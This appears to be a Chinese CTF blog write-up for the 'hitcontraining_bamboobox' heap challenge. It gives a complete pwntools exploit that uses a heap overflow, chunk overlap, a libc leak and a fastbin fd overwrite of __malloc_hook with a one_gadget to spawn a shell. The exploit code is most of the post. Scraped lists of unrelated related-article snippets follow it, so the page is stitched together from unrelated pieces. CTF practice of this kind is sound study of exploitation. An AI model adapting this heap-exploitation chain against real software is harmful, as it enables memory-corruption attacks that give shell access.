BUU PWN hitcontraining_bamboobox
本来想学习house of force,结果没用就直接做出来了。。。我用了三种方法来做这道题。
1.fastbins attack
2.unlink
3.house of force
可以改写got表,程序在edit的时候可以进行溢出。
fasbins attack
通过溢出改写size字段,构造堆块重叠,泄露libc,改写fd指针,通过realloc调整栈帧,打__malloc_hook拿shell。常规操作,直接贴exp了
1 from pwn import *
2
3 p = process('./pwn')
4 libc = ELF('./libc.so.6')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10 def add(size,content):
11 p.sendlineafter('choice:','2')
12 p.sendlineafter('name:',str(size))
13 p.sendafter('item:',content)
14 def show():
15 p.sendlineafter('choice:','1')
16 def edit(index,size,content):
17 p.sendlineafter('choice:','3')
18 p.sendlineafter('item:',str(index))
19 p.sendlineafter('name:',str(size))
20 p.sendafter('item:',content)
21 def delete(index):
22 p.sendlineafter('choice:','4')
23 p.sendlineafter('item:',str(index))
24
25 og = [0x45226,0x4527a,0xf0364,0xf1207]
26
27 add(0x20,'aaaaaaaa')
28 add(0x20,'bbbbbbbb')
29 add(0x60,'cccccccc')
30 add(0x10,'cccccccc')
31
32 edit(0,0x30,'a'*0x20+p64(0)+p64(0xa1))
33 delete(1)
34 add(0x20,'aaaaaaaa')
35 show()
36 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
37 malloc_hook = libc_base+libc.symbols['__malloc_hook']
38 realloc = libc_base+libc.symbols['realloc']
39 print 'libc_base-->'+hex(libc_base)
40 print 'malloc_hook-->'+hex(malloc_hook)
41 shell = libc_base+og[3]
42
43 add(0x60,'bbbbbbbb')
44 delete(4)
45 edit(2,0x10,p64(malloc_hook-0x23))
46 add(0x60,'aaaaaaaa')
47 add(0x60,'a'*(0x13-0x8)+p64(shell)+p64(realloc+20))
48 p.sendlineafter('choice:','2')
49 p.sendlineafter('name:',str(0x10))
50 p.interactive()
BUU PWN hitcontraining_bamboobox的更多相关文章
- BUU pwn cn
自己不细心,人家别的博客上写的明明没有那个冒号的,把linux命令好好学一学吧! nc后 ls 发现flag文件 cat就得到flag了
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
- [BUUCTF]PWN——[ZJCTF 2019]EasyHeap
[ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...
- [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn
[V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...
- 2020 NUPCTF pwn题目
去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做. npuctf_2020_level2 bss段上的格式化字符串漏洞的利用. 程序 ...
- 【pwn】V&N2020 公开赛 simpleHeap
[pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
随机推荐
- AgileConfig-1.5.5 发布 - 支持 JSON 编辑模式
本次更新加入了2个新的编辑模式:JSON 编辑模式.TEXT 编辑模式.特别是 JSON 编辑模式是大家比较期待的一个功能.因为大家都习惯了 appsettings.json 的配置编辑模式,所以天生 ...
- Codeforces 1208F - Bits And Pieces(高维前缀和)
题面传送门 题意:求 \(\max\limits_{i<j<k}a_i|(a_j\&a_k)\). \(1\leq n \leq 10^6,1\leq a_i\leq 2\time ...
- 洛谷 P4437 [HNOI/AHOI2018]排列(贪心+堆,思维题)
题面传送门 开始 WA ycx 的遗产(bushi 首先可以将题目转化为图论模型:\(\forall i\) 连边 \(a_i\to i\),然后求图的一个拓扑序 \(b_1,b_2,\dots b_ ...
- Peaks Gym 100365H
Peaks ( Gym 100365H ) 这题nk做法还挺正常的..后面那个循环就很恶心了 考虑 dp[i][j] 表示长度为i的排列,恰好有k个峰的方案数量. 然后转移就是把 i 插入 i-1 的 ...
- 【7】基于NGS检测体系变异解读和数据库介绍
目录 解读相关专业术语 体系变异解读规则 体系变异和用药解读流程 主要数据库介绍 解读相关专业术语 2个概念:胚系.体系突变 4种变异类型:SNV.Indel.融合/SV(大的易位/倒位/缺失).CN ...
- 4G网络 LTE、 FDD 和TD网络格式区别
1.LTE是long term evolution的缩写,即长期演进计划,是3GPP组织推出的移动通信3G技术向4G过渡的中间标准,并不是真正意义上的4G通信. 2.FDD是移动通信系统中使用的全双工 ...
- char*,string,char a[], const char *,之间的转换
1. const char* 和string 转换 (1) const char*转换为 string,直接赋值即可. EX: const char* tmp = "tsinghu ...
- orcale => 含义
=> 是 Oracle 中调用 存储过程的时候, 指定 参数名进行调用.ps(说实话,就是Oracle再执行存储过程中,类似于在word中进行替换一样的感觉,比如说你默认的情况下是你定义了默认参 ...
- jquery时间轴tab切换效果实现结合swiper实现滑动显示效果
需求:根据时间轴进行tab页面内容切换(时间轴需要滑动查看并选择) 实现思路: 结合swiper插件实现滑动显示效果 根据transform: translateX进行左侧切换效果的实现(具体实现cs ...
- 使用SpringBoot实现文件的上传
使用SpringBoot实现文件的上传 springboot可以直接使用 org.springframework.web.multipart.MultipartFile 所以非常容易实现 一.首先是简 ...